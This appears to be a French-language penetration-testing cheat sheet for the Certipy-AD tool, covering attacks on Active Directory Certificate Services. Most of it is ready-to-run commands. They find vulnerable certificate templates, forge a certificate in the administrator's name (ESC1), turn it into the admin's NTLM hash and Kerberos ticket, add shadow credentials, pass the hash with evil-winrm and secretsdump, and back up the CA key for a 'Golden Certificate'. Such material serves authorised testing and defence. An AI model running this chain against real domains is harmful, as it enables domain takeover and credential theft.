Certipy-AD
📋 Fiche Outil : Certipy-AD
AD CS est une surface d’attaque complexe. Certipy automatise la détection des vulnérabilités classées de ESC1 à ESC13. Une exploitation réussie (ex: ESC1) permet souvent de passer instantanément d’un utilisateur simple à Administrateur de Domaine en forgean un certificat au nom de l’administrateur.
certipy <MODULE> [options] -u <USER> -p <PASS> -target <TARGET_IP>
Syntaxe
- Permet de voir les certificats vulnérable
certipy find -u {user}@{domain.local} -p {password} -vulnerable -dc-ip {ip} -stdout
- Voir les certificats vulnérable exploitable avec bloodhound
certipy-ad find -u john.brand@vuln.fsec -p "Password1" -dc-ip 10.20.20.10
- Générer un fichier pfx
certipy-ad req -u john.brand@vuln.fsec -p Password1 -dc-ip 10.20.20.10 -ca "Vuln-DC01-CA" -target "dc01.vuln.fsec" -template "Custum_ESC1" -upn 'administrateur@vuln.fsec' -sid 'S-1-5-21-3114733929-3234434764-4270126014-500'
- Récupérer le hash
certipy-ad auth -pfx administrateur.pfx -dc-ip 10.20.20.10 -debug
#se connecter à evil winrm avec le hash
Description
Certipy est une suite offensive ciblant les Services de Certificats Active Directory (AD CS). Elle automatise la chaîne d’attaque complète pour transformer une mauvaise configuration de certificat en compromission totale du domaine.
Concrètement, l’outil permet de :
- Auditer (Find) : Scanner l’annuaire pour détecter les modèles de certificats (Templates) mal configurés. Il identifie automatiquement les vecteurs d’attaque connus (classifiés de ESC1 à ESC13).
- Usurper (Req) : Exploiter ces failles pour demander et générer un certificat légitime au nom d’un autre utilisateur (souvent l’Administrateur).
- S’authentifier (Auth) : Convertir ce certificat volé en Hash NTLM ou en Ticket Kerberos utilisable pour se connecter au système.
Les Vulnérabilités (ESC)
| Code | Type de Faille | Explication Simple |
|---|---|---|
| ESC1 | Usurpation d’identité (SAN) | Le modèle est mal configuré : il autorise le demandeur à spécifier le « Subject Alternative Name » (SAN).
_Impact :_ L’attaquant demande un certificat légitime mais inscrit « Administrateur » dans le champ SAN. L’AD le croit et donne les droits. |
| ESC4 | Contrôle d’Accès (ACL) | L’attaquant possède des droits d’écriture (Write) sur l’objet « Modèle de Certificat » dans l’AD.
_Impact :_ L’attaquant modifie la configuration du modèle pour le rendre volontairement vulnérable (par exemple, en activant la faille ESC1) afin de l’exploiter. |
| ESC8 | NTLM Relay (Web) | Le service de certificats possède une interface web (Web Enrollment) active sur le port 80/443.
_Impact :_ Il est possible d’intercepter une authentification NTLM sur le réseau (via Responder ou PetitPotam) et de la relayer vers cette page web pour récupérer un certificat au nom de la victime. |
Paramètre (Flag)
| Module / Flag | Description | Note / Exemple |
|---|---|---|
find |
Énumération. Scanne l’AD pour trouver les CA et les modèles vulnérables. | Le module le plus important pour commencer. |
req |
Request. Demande un nouveau certificat à l’autorité (CA). | Utilisé pour l’exploitation (ex: ESC1). |
auth |
Authenticate. Utilise un certificat (.pfx) pour obtenir un TGT Kerberos et le hash NTLM. | Transforme le fichier certificat en accès réel. |
shadow |
Attaque Shadow Credentials. Modifie l’attribut msDS-KeyCredentialLink. |
Permet la prise de contrôle d’un compte sans changer son mot de passe. |
-vulnerable |
Filtre la sortie de find pour n’afficher que les vulnérabilités confirmées. |
Indispensable pour éviter le bruit. |
-template |
Spécifie le nom du modèle de certificat à cibler. | Ex: -template User |
-ca |
Spécifie le nom de l’Autorité de Certification. | Souvent trouvé via la commande find. |
-upn |
User Principal Name. Spécifie l’utilisateur que l’on veut usurper. | Ex: -upn administrator@domaine.local. |
-dc-ip |
Adresse IP du Contrôleur de Domaine. | Nécessaire si le DNS n’est pas configuré. |
Exemple
1. Énumération des vulnérabilités (L’audit)
Recherche automatique des failles connues (ESC1, ESC2, etc.) et sauvegarde des résultats._
certipy find -u 'peter' -p 'Pass123' -dc-ip 10.10.10.10 -vulnerable -stdout
_Si la sortie affiche [!] Vulnerabilities found: ESC1, l’exploitation est possible._
2. Exploitation ESC1 (Demande de certificat malveillant)
On demande un certificat en prétendant être l’Administrateur (via le template vulnérable trouvé, ex: ‘WebServer’)._
certipy req -u 'peter' -p 'Pass123' -dc-ip 10.10.10.10 -ca 'CORPORATE-CA' -template 'VulnTemplate' -upn administrator@marvel.local
_Résultat : Un fichier administrator.pfx est généré._
3. Authentification (Transformation en Ticket)
On utilise le certificat volé pour s’authentifier auprès du KDC et récupérer un ticket._
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
_Résultat : Récupération du NT Hash de l’admin et d’un fichier ccache (Ticket TGT)._
4. Shadow Credentials (Persistance / Takeover)
Ajout d’une clé au compte machine pour obtenir un accès sans mot de passe._
certipy shadow auto -u 'peter' -p 'Pass123' -account 'PC-CIBLE$' -dc-ip 10.10.10.10
Suivi & Recommandation
1. Détection (find) Lancer systématiquement certipy find -vulnerable dès qu’un compte valide est compromis sur le domaine.
- Analyser les fichiers texte ou JSON générés. Rechercher la mention « Enrollee Supplies Subject: True » combinée à « Client Authentication » (Signature de l’ESC1).
2. Exploitation (req) Si un template vulnérable est identifié, noter son nom et le nom de la CA (« Cert Authority »). Lancer la requête en ciblant un compte à haut privilège (-upn administrator ou -upn DC01$).
3. Accès (auth) Une fois le .pfx obtenu, utiliser certipy auth. La commande retourne souvent le Hash NTLM de la victime. Ce hash peut être utilisé directement avec :
evil-winrm -H <HASH>impacket-secretsdump
4. Nettoyage Les certificats émis sont loggués sur le serveur CA. En mission réelle, il convient de révoquer les certificats créés si possible, bien que cela nécessite souvent des droits d’administration.
OLD
# Énumération des templates vulnérables
certipy find -u user@domain.local -p password -dc-ip 192.168.1.100
# Énumération complète avec output
certipy find -u user@domain.local -p password -dc-ip 192.168.1.100
-output certipy_enum
# ESC1 - Template avec SAN
certipy req -u user@domain.local -p password -dc-ip 192.168.1.100
-ca CA-NAME -template VulnerableTemplate
-upn administrator@domain.local
# ESC2 - Any Purpose EKU
certipy req -u user@domain.local -p password -dc-ip 192.168.1.100
-ca CA-NAME -template SubCA
# ESC3 - Enrollment Agent
certipy req -u user@domain.local -p password -dc-ip 192.168.1.100
-ca CA-NAME -template EnrollmentAgent
# ESC4 - Vulnerable ACL
certipy template -u user@domain.local -p password
-template VulnerableTemplate -save-old
# ESC8 - Web Enrollment
certipy relay -ca http://ca.domain.local/certsrv/
# Authentification avec certificat
certipy auth -pfx administrator.pfx -dc-ip 192.168.1.100
# Backup de certificat (Golden Certificate)
certipy ca -u admin@domain.local -p password
-ca CA-NAME -backup